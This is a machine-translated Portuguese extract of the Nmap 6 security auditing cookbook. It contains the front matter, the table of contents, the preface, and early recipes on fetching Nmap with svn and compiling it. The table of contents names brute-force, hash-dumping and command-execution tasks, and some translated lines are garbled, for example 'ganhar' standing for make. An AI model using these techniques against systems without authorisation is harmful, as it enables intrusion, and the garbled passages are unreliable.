Você está na página 1de 200

Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

Nmap 6: Rede
Exploração e
Auditoria de segurança
Livro de receitas

Um guia completo para dominar o Nmap 6 e seu mecanismo de


script, abrangendo tarefas práticas para testadores de penetração
e administradores de sistema

Paulino Calderón Pale

BIRMINGHAM - MUMBAI

www.it-ebooks.info
Machine Translated by Google

Nmap 6: Exploração e Segurança de Rede


Livro de receitas de auditoria

Copyright © 2012 Packt Publishing

Todos os direitos reservados. Nenhuma parte deste livro pode ser reproduzida, armazenada em um sistema de
recuperação ou transmitida de qualquer forma ou por qualquer meio, sem a permissão prévia por escrito do editor,
exceto no caso de breves citações incorporadas em artigos críticos ou resenhas.

Todo esforço foi feito na preparação deste livro para garantir a precisão das informações apresentadas. No entanto,
as informações contidas neste livro são vendidas sem garantia, expressa ou implícita. Nem o autor, nem a Packt
Publishing e seus revendedores e distribuidores serão responsabilizados por quaisquer danos causados ou
supostamente causados direta ou indiretamente por este livro.

A Packt Publishing se esforçou para fornecer informações de marca registrada sobre todas as empresas e produtos
mencionados neste livro pelo uso apropriado de maiúsculas. No entanto, a Packt Publishing não pode garantir a precisão
dessas informações.

Primeira publicação: novembro de 2012

Referência de Produção: 2201112

Publicado por Packt Publishing Ltd.


Livery Place
35 Livery Street
Birmingham B3 2PB, Reino Unido..

ISBN 978-1-84951-748-5

www.packtpub.com

Imagem da capa por Renata Gómez Cárdenas (reny5mil@hotmail.com)

www.it-ebooks.info
Machine Translated by Google

Créditos
Autor Coordenador de projeto
Paulino Calderón Pale Sai Gamare

Revisores revisor

Carlos A. Ayala Rocha Dirk Manuel

David Shaw
Indexador
Rekha Nair
Editor de aquisição
Robin de Jong
Gráficos
Editor técnico principal Valentina D'Silva

Dayan Hyams
Coordenador de produção

Editores técnicos Nitish Thakur

Verônica Fernandes
trabalho de capa
Nitee Shetty
Nitish Thakur

Editor de cópia
Insia Morbiwala

www.it-ebooks.info
Machine Translated by Google

Sobre o autor

Paulino Calderón Pale (@calderpwn) é um desenvolvedor de software e testador de penetração


muito apaixonado de uma ilha caribenha no México chamada Cozumel. Ele aprendeu a escrever código
e administrar infra-estruturas de TI no início de sua vida - habilidades que foram úteis quando ele
ingressou no setor de segurança da informação. Hoje, ele adora aprender novas tecnologias, fazer
testes de penetração, realizar experimentos de coleta de dados, desenvolver software e contribuir para
a comunidade de código aberto. Ele mantém um blog de seu trabalho público em http://calderonpale.com.

No verão de 2011, ele ingressou no programa Summer of Code do Google para trabalhar no
projeto Nmap como desenvolvedor NSE (Nmap Scripting Engine). Ele se concentrou em melhorar
os recursos de varredura da Web do Nmap e produziu mais de 20 scripts para coletar informações
e detectar e explorar vulnerabilidades de segurança desde então.

Ele é o cofundador da Websec, uma empresa de segurança da informação focada em operações


de segurança na web no México (http://websec.mx) e no Canadá (http://websec.ca), onde ajudam
empresas de diferentes setores a proteger suas infraestruturas de TI .

www.it-ebooks.info
Machine Translated by Google

Reconhecimento
Eu gostaria de dedicar este livro a muitas pessoas. Em primeiro lugar, gostaria de agradecer
especialmente a Fyodor por me dar a oportunidade de ingressar no projeto Nmap durante o Google
Summer of Code. Este livro não teria existido se você não tivesse se arriscado comigo naquele verão.
Meus pais Edith e Paulino, que me apoiaram incrivelmente durante toda a minha vida, meus irmãos
Omar e Yael, que tornaram este passeio muito divertido, e minha namorada Martha Moguel e sua
família, que foram muito solidárias e compreensivas com a falta de datas e domingo refeições
enquanto trabalhava neste livro.

Gostaria de agradecer à equipe e colaboradores do Nmap, especialmente a todas as pessoas


com quem aprendi muito - Patrik Karlsson, David Fifield, Ron Bowes, Daniel Miller, Henri
Doreau, Patrick Donelly, Brendan Coles, Luis Martin, Toni Ruotto, Tom Sellers e Djalal Harouni.

Também gostaria de agradecer a todos os meus bons amigos e parceiros de negócios, Roberto
Salgado e Pedro Joaquín, por todo o trabalho extra que tiveram de fazer para me cobrir, e aos
meus amigos da segurança da informação — Carlos Ayala, Alejandro Hernández, Luis Guillermo
Castañeda , Edgar Pimienta, Giovanni Cruz, Diego Bauche, Christian Navarrete, Eduardo Vela,
Lenin Alevsk, Christian Yerena, Humberto Ochoa, Marcos Schejtman, Angel Morelos, Eduardo Ruiz,
Ruben Ventura, Alejandro Hernández Flores (alt3kx), Luis Alberto Cortes, Oscar Lopez , Víctor Hugo
Ramos Alvarez Luis
, Antonio Solis,
Toriz, Hector Lopez,
Francisco MatiasGarcía,
León, Armin Katz, Jaime Restrepo,
Roberto Carlos
Martinez, Lozano,
Hecky, VictorDavid
Gomez,Murillo,
Uriel Márquez, Marc Ruef, David Moreno, Leonardo Pigñer, Alvaro Andrade, Alfonso Deluque e
Lorenzo Martínez. Agradeço a todos os meus amigos em Cozumel e Victoria que posso não ter visto
tanto quanto gostaria ultimamente, mas que estão sempre em meu coração.

E, finalmente, gostaria de agradecer à Packt Publishing e sua equipe por todo o apoio e ajuda
prestados durante a publicação deste livro.

www.it-ebooks.info
Machine Translated by Google

Sobre os Revisores

Carlos A. Ayala Rocha é um Consultor de Segurança da Informação com mais de 10 anos de experiência
em Segurança de Rede, Detecção/Prevenção de Intrusão, Análise Forense e Resposta a Incidentes. Ele
analisou, desenhou e implementou soluções, procedimentos e mecanismos focados na mitigação de riscos
para grandes empresas, governos, provedores de serviços de internet e agências de segurança interna no
México e em vários países da América Latina.
Ele é membro do Conselho Consultivo, Proctor e Mentor do Instituto SANS e membro fundador da
Associação Mexicana de Segurança da Informação (ASIMX). Ele possui várias certificações do setor
de segurança, como CISSP, GCIH, GCFA e GPEN, entre outras. Atualmente trabalha como Engenheiro
Consultor na Arbor Networks para a América Latina.

David Shaw tem uma vasta experiência em muitos aspectos da segurança da informação. Iniciando sua
carreira como Analista de Segurança de Rede, ele monitorou firewalls de perímetro e sistemas de detecção
de intrusão para identificar e neutralizar ameaças em tempo real. Depois de trabalhar nas trincheiras da
análise de perímetro, ele se juntou a uma equipe de avaliação de ameaças externas como pesquisador de
segurança, trabalhando em estreita colaboração com grandes instituições financeiras para mitigar riscos
externos e combater ataques de phishing. Ele tem interesses particulares no desenvolvimento de exploits e
vetores de ataque não convencionais, e foi palestrante no ToorCon 12 em San Diego, CA. Ele é atualmente
o Diretor de Tecnologia de Testes de Penetração na Redspin, especializado em avaliações externas e de
segurança de aplicativos e gerenciando uma equipe de engenheiros altamente qualificados.

Gostaria de agradecer à minha equipe maravilhosa da Redspin por me permitir


a oportunidade de conduzir pesquisas e aprimorar minhas habilidades, e sem a
qual eu nunca estaria onde estou hoje.

www.it-ebooks.info
Machine Translated by Google

www.PacktPub.com

Arquivos de suporte, eBooks, ofertas de desconto e muito mais


Você pode querer visitar www.PacktPub.com para arquivos de suporte e downloads relacionados ao seu livro.

Você sabia que a Packt oferece versões eBook de todos os livros publicados, com arquivos PDF e ePub disponíveis?
Você pode atualizar para a versão eBook em www.PacktPub.com e, como cliente do livro impresso, tem direito a um
desconto na cópia do eBook. Entre em contato conosco em service@packtpub.com para mais detalhes.

Em www.PacktPub.com, você também pode ler uma coleção de artigos técnicos gratuitos, inscrever-se em
uma variedade de boletins informativos gratuitos e receber descontos e ofertas exclusivos nos livros e e-books
da Packt.

http://PacktLib.PacktPub.com

Você precisa de soluções instantâneas para suas questões de TI? PacktLib é a biblioteca de livros digitais online da
Packt. Aqui, você pode acessar, ler e pesquisar toda a biblioteca de livros da Packt.

Por que se inscrever?


f Totalmente pesquisável em todos os livros publicados pela Packt

f Copie e cole, imprima e marque o conteúdo

f Sob demanda e acessível via navegador da web

Acesso gratuito para titulares de contas Packt


Se você tiver uma conta na Packt em www.PacktPub.com, poderá usá-la para acessar o PacktLib hoje e
visualizar nove livros totalmente gratuitos. Basta usar suas credenciais de login para acesso imediato.

www.it-ebooks.info
Machine Translated by Google

www.it-ebooks.info
Machine Translated by Google

Índice
Prefácio 5
Capítulo 1: Fundamentos do Nmap 9
Introdução 10
Baixando o Nmap do repositório oficial de código-fonte 11
Compilando o Nmap a partir do código-fonte 13
Listando portas abertas em um host remoto 16
Serviços de impressão digital de um host remoto 19
Encontrando hosts ativos em sua rede 22
Escaneamento usando intervalos de portas específicos 25
Executando scripts NSE 27
Digitalizando usando uma interface de rede especificada 31
Comparando os resultados da verificação com o Ndiff 33
Gerenciando vários perfis de digitalização com o Zenmap 36
Detectando NAT com Nping 39
Monitorando servidores remotamente com Nmap e Ndiff 41

Capítulo 2: Exploração de rede 45


Introdução 45
Descobrindo hosts com varreduras de ping TCP SYN 46
Descobrindo hosts com varreduras de ping TCP ACK 48
Descobrindo hosts com varreduras de ping UDP 50
Descobrindo hosts com varreduras de ping ICMP 51
Descobrindo hosts com varreduras de ping de protocolo IP 53
Descobrindo hosts com varreduras de ping ARP 56
Descobrindo hosts usando pings de transmissão 60
Escondendo nosso tráfego com dados aleatórios adicionais 63
Forçando resolução de DNS 65
Excluindo hosts de suas verificações 67
Verificando endereços IPv6 69
Coletando informações de rede com scripts de transmissão 71

www.it-ebooks.info
Machine Translated by Google

Índice

Capítulo 3: Coleta de Informações Adicionais do Host 77


Introdução 77
Geolocalizar um endereço IP 78
Obtendo informações de registros WHOIS 80
Verificando se um host é conhecido por atividades maliciosas 83
Coletando contas de e-mail válidas 86
Descobrindo nomes de host apontando para o mesmo endereço IP 88
Registros DNS de força bruta 91
Impressão digital do sistema operacional de um host 94
Descobrindo os serviços UDP 96
Listando protocolos suportados por um host remoto 98
Descobrindo firewalls com estado usando uma verificação TCP ACK 100
Serviços correspondentes com vulnerabilidades de segurança conhecidas 102
Falsificando o IP de origem de uma verificação de porta 104

Capítulo 4: Auditoria de servidores da Web 109


Introdução 110
Listando métodos HTTP suportados 110
Verificando se um proxy HTTP está 113
aberto Descobrindo arquivos e diretórios interessantes em vários servidores 114
web Força bruta autenticação HTTP Abusando de mod_userdir para enumerar 117
contas de usuário Testando credenciais padrão em aplicativos web Auditoria 120
de senha de força bruta Instalações do WordPress Auditoria de senha de 121
força bruta Joomla! instalações Detectando firewalls de aplicativos da Web 124
Detectando possíveis vulnerabilidades XST Detectando vulnerabilidades de 126
Cross Site Scripting em aplicativos da Web Encontrando vulnerabilidades de 129
injeção SQL em aplicativos da Web Detectando servidores da Web vulneráveis 131
a ataques de negação de serviço slowloris 134
138
140

Capítulo 5: Auditoria de bancos de dados 143


Introdução 144
Listando bancos de dados MySQL 144
Listando usuários do MySQL 145
Listando variáveis do MySQL 147
Encontrar contas root com senhas vazias em servidores MySQL 148
Força bruta de senhas do MySQL 150
Detectando configurações inseguras em servidores MySQL 151
Força bruta de senhas Oracle 154
Nomes Oracle SID de força bruta 156
Recuperando informações do servidor MS SQL 157

ii

www.it-ebooks.info
Machine Translated by Google

Índice

Força bruta de senhas do MS SQL 159


Despejando os hashes de senha de um servidor MS SQL 162
Executando comandos por meio do shell de comando em servidores MS SQL 164
Encontrando contas de administrador de sistema com senhas vazias em servidores MS SQL 166
Listando bancos de dados MongoDB 168
Recuperando informações do servidor MongoDB 169
Listando bancos de dados CouchDB 170
Recuperando estatísticas do banco de dados CouchDB 171

Capítulo 6: Auditoria de servidores de correio 175


Introdução 175
Descobrindo contas de e-mail válidas usando a Pesquisa do 176
Google Detectando open relays Força bruta de senhas SMTP 178
Enumeração de usuários em um servidor SMTP Detectando 180
servidores SMTP backdoor Força bruta de senhas IMAP 182
Recuperação das capacidades de um servidor de correio IMAP 184
Força bruta de senhas POP3 Recuperação das capacidades de um 186
correio POP3 server Detectando servidores Exim SMTP vulneráveis 189
versão 4.70 a 4.75 190
192
193

Capítulo 7: Varredura de grandes redes 197


Introdução 197
Escaneando um intervalo de endereços IP 198
Lendo alvos de um arquivo de texto 201
Escaneando alvos aleatórios 203
Pular testes para acelerar varreduras longas 206
Selecionando o modelo de tempo correto 213
Ajustando os parâmetros de tempo 216
Ajustando os parâmetros de desempenho 219
Coletando assinaturas de servidores web 222
Distribuindo uma varredura entre vários clientes usando o Dnmap 224

Capítulo 8: Gerando Relatórios de Varredura 229


Introdução 229
Salvando os resultados da verificação no formato normal 230
Salvando os resultados da verificação em um formato XML 233
Salvando os resultados da verificação em um banco de dados SQLite 236
Salvando os resultados da verificação em um formato grepable 239
Gerando um gráfico de topologia de rede com o Zenmap 242
Gerando um relatório de varredura HTML 244
Relatar verificações de vulnerabilidade realizadas durante uma verificação 246

iii

www.it-ebooks.info
Machine Translated by Google

Índice

Capítulo 9: Escrevendo seus próprios scripts NSE 249


Introdução 249
Fazendo solicitações HTTP para identificar webcams Trendnet vulneráveis 251
Envio de payloads UDP usando soquetes NSE 256
Explorando uma vulnerabilidade de path traversal com NSE 262
Escrevendo um script de força bruta 268
Trabalhando com a biblioteca de rastreamento da web 274
Relatando vulnerabilidades corretamente em scripts NSE 283
Escrevendo sua própria biblioteca NSE 287
Trabalhando com encadeamentos NSE, variáveis de condição e mutexes no NSE 290

Referências 295
Índice 299

www.it-ebooks.info
Machine Translated by Google

Prefácio
Nmap 6: Network Exploration and Security Auditing Cookbook é um livro 100% prático que segue o
estilo de um livro de receitas. Cada receita se concentra em uma única tarefa e contém exemplos de
linha de comando, saída de amostra, uma explicação detalhada e dicas adicionais que podem ser
úteis.

A vasta funcionalidade do Nmap é explorada em nove capítulos cobrindo 100 tarefas diferentes para
testadores de penetração e administradores de sistema. Ao contrário do livro oficial do Nmap, este livro
de receitas se concentra nas tarefas que você pode fazer com o Nmap Scripting Engine, sem esquecer de
cobrir a funcionalidade principal do Nmap.

Há muitos scripts NSE excelentes que gostaria de ter mais espaço para incluir neste livro e muitos
outros que serão criados após sua publicação. Luis Martin Garcia postou recentemente um vídeo
interessante que mostra o quanto o Nmap cresceu ao longo dos anos em http://www. youtube.com/
watch?v=7rlF1MSAbXk. Convido você a se registrar na lista de discussão de desenvolvimento e manter-
se atualizado com os últimos recursos e scripts NSE do Nmap.

Espero que você não apenas goste de ler este livro de receitas, mas também que, ao dominar o Nmap
Scripting Engine, você tenha novas ideias para criar e contribuir para este incrível projeto.

Finalmente, não se esqueça que você pode me enviar suas perguntas e farei o possível para ajudá-lo.

O que este livro cobre


O Capítulo 1, Fundamentos do Nmap, aborda as tarefas mais comuns executadas com o Nmap.
Além disso, apresenta brevemente Ndiff, Nping e Zenmap.

O Capítulo 2, Exploração de rede, abrange as técnicas de descoberta de host suportadas pelo Nmap
e outros truques úteis com o Nmap Scripting Engine.

O Capítulo 3, Obtendo Informações Adicionais do Host, aborda tarefas interessantes de coleta de


informações com o Nmap e seu mecanismo de script.

O Capítulo 4, Auditoria de servidores da Web, abrange tarefas relacionadas à auditoria de segurança da Web.

www.it-ebooks.info
Machine Translated by Google

Prefácio

O Capítulo 5, Auditoria de bancos de dados, abrange tarefas de auditoria de segurança para bancos de dados
MongoDB, MySQL, MS SQL e CouchDB.

O Capítulo 6, Auditoria de servidores de correio, aborda tarefas para servidores IMAP, POP3 e SMTP.

O Capítulo 7, Varredura de grandes redes, abrange tarefas que são úteis ao varrer grandes redes, desde a
otimização da varredura até a distribuição de varreduras entre vários clientes.

O Capítulo 8, Gerando Relatórios de Varredura, aborda as opções de saída suportadas pelo Nmap.

O Capítulo 9, Escrevendo seus próprios scripts NSE, abrange os fundamentos do desenvolvimento NSE.
Inclui exemplos específicos para lidar com soquetes, saída, bibliotecas e paralelismo.

Apêndice, Referências, abrange referências e documentação oficial usada ao longo deste livro.

O que você precisa para este livro


Você precisará da versão mais recente do Nmap (disponível em http://nmap.org) para seguir as receitas deste livro.

Para quem é este livro


Este livro é para qualquer consultor de segurança, administrador ou entusiasta que queira aprender como
usar e dominar o Nmap e o Nmap Scripting Engine.

Este livro contém instruções sobre como realizar vários testes de penetração,
como auditorias de senha de força bruta em redes e dispositivos remotos.
Essas tarefas provavelmente são ilegais em sua jurisdição em muitas
circunstâncias ou, pelo menos, contam como uma violação dos termos de
serviço ou má conduta profissional. As instruções são fornecidas para que você
possa testar seu sistema contra ameaças, entender a natureza dessas ameaças
e proteger seus próprios sistemas contra ataques semelhantes. Antes de segui-
los, certifique-se de estar do lado correto da linha legal e ética... use seus poderes
para o bem!

Convenções
Neste livro, você encontrará vários estilos de texto que distinguem diferentes tipos de informação. Aqui estão alguns
exemplos desses estilos e uma explicação de seu significado.

As palavras de código no texto são mostradas da seguinte forma: "O sinalizador -PS força uma varredura de ping TCP SYN."

www.it-ebooks.info
Machine Translated by Google

Prefácio

Um bloco de código é definido da seguinte forma:

table.insert(impressões digitais, {
category='cms',
probes={ {path='/
changelog.txt'}, {path='/tinymce/
changelog.txt'}, }, matches={ {match='Version (.-)
', output ='Versão \\1'}, {output='Interessante, um
changelog.'}

} })

Qualquer entrada ou saída de linha de comando é escrita da seguinte forma:

$ nmap -sP -PS80,21,53 <alvo>


$ nmap -sP -PS1-1000 <alvo>
$ nmap -sP -PS80,100-1000 <alvo>

Novos termos e palavras importantes são mostrados em negrito. Palavras que você vê na tela, em menus ou caixas
de diálogo, por exemplo, aparecem no texto assim: "Clique em OK para iniciar o download de sua nova cópia de trabalho."

Avisos ou notas importantes aparecem em uma caixa como esta.

Dicas e truques aparecem assim.

feedback do leitor
O feedback dos nossos leitores é sempre bem-vindo. Deixe-nos saber o que você pensa sobre este livro - o que você
gostou ou pode não ter gostado. O feedback dos leitores é importante para desenvolvermos títulos que realmente aproveitem
ao máximo.

Para nos enviar um feedback geral, basta enviar um e-mail para feedback@packtpub.com e mencionar o título do livro no
assunto de sua mensagem.

Se houver um tópico no qual você seja especialista e estiver interessado em escrever ou contribuir para um livro,
consulte nosso guia do autor em www.packtpub.com/authors.

www.it-ebooks.info
Machine Translated by Google

Prefácio

Suporte ao cliente
Agora que você é o orgulhoso proprietário de um livro Packt, temos várias coisas para ajudá-lo a
obter o máximo de sua compra.

Fazendo o download do código de exemplo Você pode


fazer o download dos arquivos de código de exemplo para todos os livros Packt adquiridos em
sua conta em http://www.packtpub.com. Se você comprou este livro em outro lugar, visite http://
www.packtpub.com/support e registre-se para receber os arquivos por e-mail diretamente para
você.

Visite o site deste livro (http://nmap-cookbook.com) para conteúdo adicional e atualizações

Errata
Embora tenhamos tomado todos os cuidados para garantir a precisão de nosso conteúdo, erros
acontecem. Se você encontrar um erro em um de nossos livros - talvez um erro no texto ou no código -
ficaríamos gratos se você nos relatasse isso. Ao fazer isso, você pode salvar outros leitores da
frustração e nos ajudar a melhorar as versões subsequentes deste livro. Se você encontrar alguma
errata, informe-a visitando http://www.packtpub.com/support, selecionando seu livro, clicando no link do
formulário de envio de errata e inserindo os detalhes de sua errata. Depois que suas errata forem
verificadas, seu envio será aceito e as errata serão carregadas em nosso site ou adicionadas a qualquer
lista de errata existente, na seção Errata desse título.

Pirataria A
pirataria de material protegido por direitos autorais na Internet é um problema constante em
todas as mídias. Na Packt, levamos muito a sério a proteção de nossos direitos autorais e
licenças. Se você encontrar cópias ilegais de nossos trabalhos, de qualquer forma, na Internet,
forneça-nos o endereço do local ou o nome do site imediatamente para que possamos buscar uma solução.

Entre em contato conosco em copyright@packtpub.com com um link para o material


pirata suspeito.

Agradecemos sua ajuda na proteção de nossos autores e nossa capacidade de


fornecer conteúdo valioso.

Dúvidas Você
pode entrar em contato conosco pelo e-mail question@packtpub.com se tiver algum problema
com qualquer aspecto do livro, e faremos o possível para resolvê-lo.

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap
1
Este capítulo mostra como fazer algumas coisas que, em muitas situações, podem
ser ilegais, antiéticas, uma violação dos termos de serviço ou simplesmente não
ser uma boa ideia. Ele é fornecido aqui para fornecer informações que podem ser
úteis para se proteger contra ameaças e tornar seu próprio sistema mais seguro.
Antes de seguir estas instruções, certifique-se de estar do lado certo da linha legal
e ética... use seus poderes para o bem!

Neste capítulo abordaremos:

f Baixando o Nmap do repositório oficial de código-fonte

f Compilando o Nmap a partir do código-fonte

f Listagem de portas abertas em um host remoto f

Serviços de impressão digital de um host remoto

f Encontrando hosts ativos em sua rede

f Varredura usando intervalos de portas específicos

f Executando scripts NSE

f Digitalizando usando uma interface de rede especificada

f Comparando resultados de escaneamento

com Ndiff f Gerenciando múltiplos perfis de escaneamento com Zenmap

f Detectando NAT com Nping

f Monitorando servidores remotamente com Nmap e Ndiff

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

Introdução

Nmap (Network Mapper) é uma ferramenta de código aberto especializada em exploração de rede e
auditoria de segurança, originalmente publicada por Gordon "Fyodor" Lyon. O site oficial (http://nmap.org)
o descreve da seguinte forma:

Nmap (Network Mapper) é um utilitário gratuito e de código aberto (licença) para descoberta
de rede e auditoria de segurança. Muitos sistemas e administradores de rede também o consideram
útil para tarefas como inventário de rede, gerenciamento de agendamentos de atualização de serviço
e monitoramento de host ou tempo de atividade de serviço. O Nmap usa pacotes IP brutos de novas
maneiras para determinar quais hosts estão disponíveis na rede, quais serviços (nome e versão do
aplicativo) esses hosts estão oferecendo, quais sistemas operacionais (e versões do sistema
operacional) estão executando, que tipo de filtros/ firewalls de pacotes estão em uso, e dezenas de
outras características. Ele foi projetado para escanear rapidamente grandes redes, mas funciona bem
em hosts únicos. O Nmap é executado em todos os principais sistemas operacionais de computador e
os pacotes binários oficiais estão disponíveis para Linux, Windows e Mac OS X.

Existem muitos outros scanners de portas por aí, mas nenhum deles chega perto de oferecer a
flexibilidade e as opções avançadas do Nmap.

O Nmap Scripting Engine (NSE) revolucionou as possibilidades de um scanner de porta, permitindo que
os usuários escrevam scripts que executam tarefas personalizadas usando as informações do host coletadas
pelo Nmap.

Além disso, o Projeto Nmap inclui outras ótimas ferramentas:

f Zenmap: Uma interface gráfica para Nmap f Ndiff:


Uma ferramenta para comparação de resultados de
varredura f Nping: Uma excelente ferramenta para geração de pacotes e análise de
tráfego f Ncrack: Uma ferramenta compatível com Nmap para força bruta de logins
de rede f Ncat: Um utilitário de depuração para leitura e gravar dados em redes

Desnecessário dizer que é essencial que todo profissional de segurança e administrador de rede domine
essa ferramenta para realizar avaliações de segurança, monitorar e administrar redes com eficiência.

Este livro contém instruções sobre como realizar vários testes de penetração, como
auditorias de senha de força bruta em redes e dispositivos remotos. Essas tarefas
provavelmente são ilegais em sua jurisdição em muitas circunstâncias ou, pelo
menos, contam como uma violação dos termos de serviço ou má conduta
profissional. As instruções são fornecidas para que você possa testar seu sistema
contra ameaças, entender a natureza dessas ameaças e proteger seus próprios
sistemas contra ataques semelhantes. Antes de segui-los, certifique-se de estar do
lado correto da linha legal e ética... use seus poderes para o bem!

10

www.it-ebooks.info
Machine Translated by Google

Capítulo 1

A comunidade do Nmap é muito ativa e novos recursos são adicionados toda semana. Eu encorajo você a
sempre manter uma cópia atualizada em seu arsenal, caso ainda não tenha feito isso; e ainda melhor, para se
inscrever na lista de discussão de desenvolvimento em http://cgi.insecure.org/mailman/listinfo/nmap-dev.

Este capítulo descreve como realizar algumas das tarefas mais comuns com o Nmap, incluindo varredura
de portas e enumeração de alvos. Ele também inclui receitas que ilustram como os perfis do Zenmap são
úteis, como usar o Nping para detecção de NAT e diferentes aplicativos do Ndiff, incluindo como configurar
um sistema de monitoramento remoto com alguma ajuda de script bash e cron. Adicionei tantos links de
referência com material adicional quanto possível; Eu recomendo que você os visite para aprender mais sobre
o funcionamento interno das técnicas avançadas de escaneamento executadas pelo Nmap.

Eu também criei o site http://nmap-cookbook.com para postar novos materiais relacionados e receitas
adicionais, então certifique-se de visitar de vez em quando.

Baixando o Nmap do repositório oficial de código-


fonte
Esta seção descreve como baixar o código-fonte do Nmap do repositório oficial do subversion. Ao fazer
isso, os usuários podem compilar a versão mais recente do Nmap e acompanhar as atualizações diárias
que são enviadas para o repositório do subversion.

Preparando-se
Antes de continuar, você precisa ter uma conexão ativa com a Internet e acesso a um cliente subversion. As
plataformas baseadas em Unix vêm com um cliente de linha de comando chamado subversion (svn). Para
verificar se já está instalado em seu sistema, basta abrir um terminal e digitar:

$ svn

Se ele disser que o comando não foi encontrado, instale o svn usando seu gerenciador de pacotes
favorito ou construa-o a partir do código-fonte. As instruções para construir o svn a partir do código-fonte
estão fora do escopo deste livro, mas estão amplamente documentadas online. Use seu mecanismo de
pesquisa favorito para encontrar instruções específicas para o seu sistema.

Se você preferir trabalhar com uma interface gráfica do usuário, o RapidSVN é uma alternativa
multiplataforma muito popular. Você pode baixar e instalar o RapidSVN em http://rapidsvn.tigris.org/.

Como fazer isso...


Abra seu terminal e digite o seguinte comando:

$ svn co --username guest https://svn.nmap.org/nmap/

11

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

Fazendo o download do código


de exemplo Você pode fazer o download dos arquivos de código de exemplo
para todos os livros Packt adquiridos em sua conta em http://www.packtpub.com.
Se você comprou este livro em outro lugar, pode visitar http://www.packtpub. com/
support e registre-se para receber os arquivos por e-mail diretamente para você.

Espere até que o svn baixe todos os arquivos armazenados no repositório. Você deve ver a lista dos arquivos
adicionados quando terminar, conforme mostrado na captura de tela a seguir:

Quando o programa retornar/sair, você terá o código-fonte do Nmap em seu diretório atual.

Como funciona...
$ svn checkout https://svn.nmap.org/nmap/

Este comando baixa uma cópia do repositório remoto localizado em https://svn.nmap. org/nmap/. Este repositório
tem acesso de leitura mundial à última compilação estável, permitindo que o svn baixe sua cópia de trabalho
local.

Tem mais...
Se você estiver usando o RapidSVN, siga estas etapas:

1. Clique com o botão direito do mouse em Marcadores.

2. Clique em Verificar Nova Cópia de Trabalho.


3. Digite https://svn.nmap.org/nmap/ no campo URL.
4. Selecione seu diretório de trabalho local.
5. Clique em OK para iniciar o download de sua nova cópia de trabalho.

12

www.it-ebooks.info
Machine Translated by Google

Capítulo 1

Experimentando ramificações de desenvolvimento Se você quiser


experimentar as últimas criações da equipe de desenvolvimento, existe uma pasta chamada nmap exp que contém
diferentes ramificações experimentais do projeto. O código armazenado lá não tem garantia de funcionar o tempo
todo, pois os desenvolvedores o usam como uma caixa de proteção até que esteja pronto para ser mesclado na
ramificação estável. A URL completa do subversion desta pasta é https://svn.nmap. org/nmap-exp/.

Mantendo seu código-fonte atualizado


Para atualizar uma cópia baixada anteriormente do Nmap, use o seguinte comando dentro do seu diretório de
trabalho:

atualização $ svn

Você deve ver a lista de arquivos que foram atualizados, bem como algumas informações de revisão.

Veja também

f A receita Compilando Nmap a partir do código-fonte f A


receita Listagem de portas abertas em um host remoto f Os
serviços de impressão digital de uma receita de host remoto f A
receita Execução de scripts NSE f A receita Comparando os
resultados da varredura com a receita Ndiff f A receita Gerenciando
vários perfis de varredura com o Zenmap f A receita Gerando um gráfico de
topologia de rede com Zenmap no Capítulo 8,
Gerando Relatórios de
Varredura f A receita Salvar resultados de varredura em formato normal no Capítulo 8, Gerando Relatórios de Varredura

13

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

Compilando o Nmap a partir do código-fonte


Pacotes pré-compilados sempre levam tempo para serem preparados e testados, causando atrasos entre
os lançamentos. Se você deseja manter-se atualizado com as últimas adições, é altamente recomendável
compilar o código-fonte do Nmap.

Esta receita descreve como compilar o código-fonte do Nmap no ambiente Unix.

Preparando-se
Certifique-se de que os seguintes pacotes estejam instalados em seu sistema:

f gcc

f openssl
f fazer

Instale o software ausente usando seu gerenciador de pacotes favorito ou crie-o a partir do código-fonte.
As instruções para construir esses pacotes a partir do código-fonte estão fora do escopo deste livro, mas estão
disponíveis online.

Como fazer isso...


1. Abra seu terminal e vá para o diretório onde o código-fonte do Nmap está armazenado.

2. Configure de acordo com seu sistema:

$ ./configurar

Um dragão ASCII avisando sobre o poder do Nmap será exibido (como mostrado na
captura de tela a seguir) se for bem-sucedido, caso contrário, linhas especificando um erro serão
exibidas.

14

www.it-ebooks.info
Machine Translated by Google

Capítulo 1

3. Construa o Nmap usando o seguinte comando:

$ ganhar

Se você não vir nenhum erro, você compilou a versão mais recente do Nmap com sucesso.
Você pode verificar isso procurando o Nmap binário compilado em seu diretório atual.
Se você deseja disponibilizar o Nmap para todos os usuários do sistema, digite o
seguinte comando:

# fazer instalação

Como funciona...
Usamos o script configure para configurar os diferentes parâmetros e variáveis ambientais que
afetam seu sistema e a configuração desejada. Posteriormente, os GNUs geram os arquivos
binários compilando o código-fonte.

15

www.it-ebooks.info
Machine Translated by Google

Fundamentos do Nmap

Tem mais...
Se você precisa apenas do binário Nmap, pode usar as seguintes diretivas de configuração para evitar a instalação
de Ndiff, Nping e Zenmap:

f Ignore a instalação do Ndiff usando --without-ndiff f Ignore a instalação do


Zenmap usando --without-zenmap f Ignore a instalação do Nping usando --without-nping

Bibliotecas de desenvolvimento OpenSSL O OpenSSL

é opcional ao construir o Nmap. Ativá-lo permite que o Nmap acesse as funções dessa biblioteca relacionadas a
números inteiros de multiprecisão, hashing e codificação/decodificação para detecção de serviço e scripts Nmap NSE.

O nome do pacote de desenvolvimento OpenSSL em sistemas Debian é libssl-dev.

Diretivas de configuração Existem

várias diretivas de configuração que podem ser usadas na construção do Nmap. Para obter uma lista completa de
diretivas, use o seguinte comando:

$ ./configure --help

Pacotes pré-compilados Existem vários

pacotes pré-compilados disponíveis online (http://nmap.org/download. html) para quem não tem acesso a um compilador,
mas, infelizmente, é muito provável que lhe faltem recursos, a menos que seja muito recente construir. O Nmap está em
constante evolução. Se você realmente quer aproveitar o poder do Nmap, mantenha sua cópia local atualizada com o
repositório oficial.

Veja também
f A receita Baixando o Nmap do repositório de código-fonte oficial f A receita Listagem de portas
abertas em um host remoto f Os serviços de impressão digital de uma receita de host remoto f A
comparação dos resultados da varredura com a receita Ndiff f A receita Gerenciando vários perfis
de varredura com o Zenmap f A execução Receita de scripts NSE f A receita Varredura usando
uma interface de rede especificada f A receita Salvando resultados da varredura em formato
normal no Capítulo 8, Gerando

Relatórios de verificação

f A receita Gerando um gráfico de topologia de rede com Zenmap no Capítulo 8,


Gerando Relatórios de Varredura

16

www.it-ebooks.info
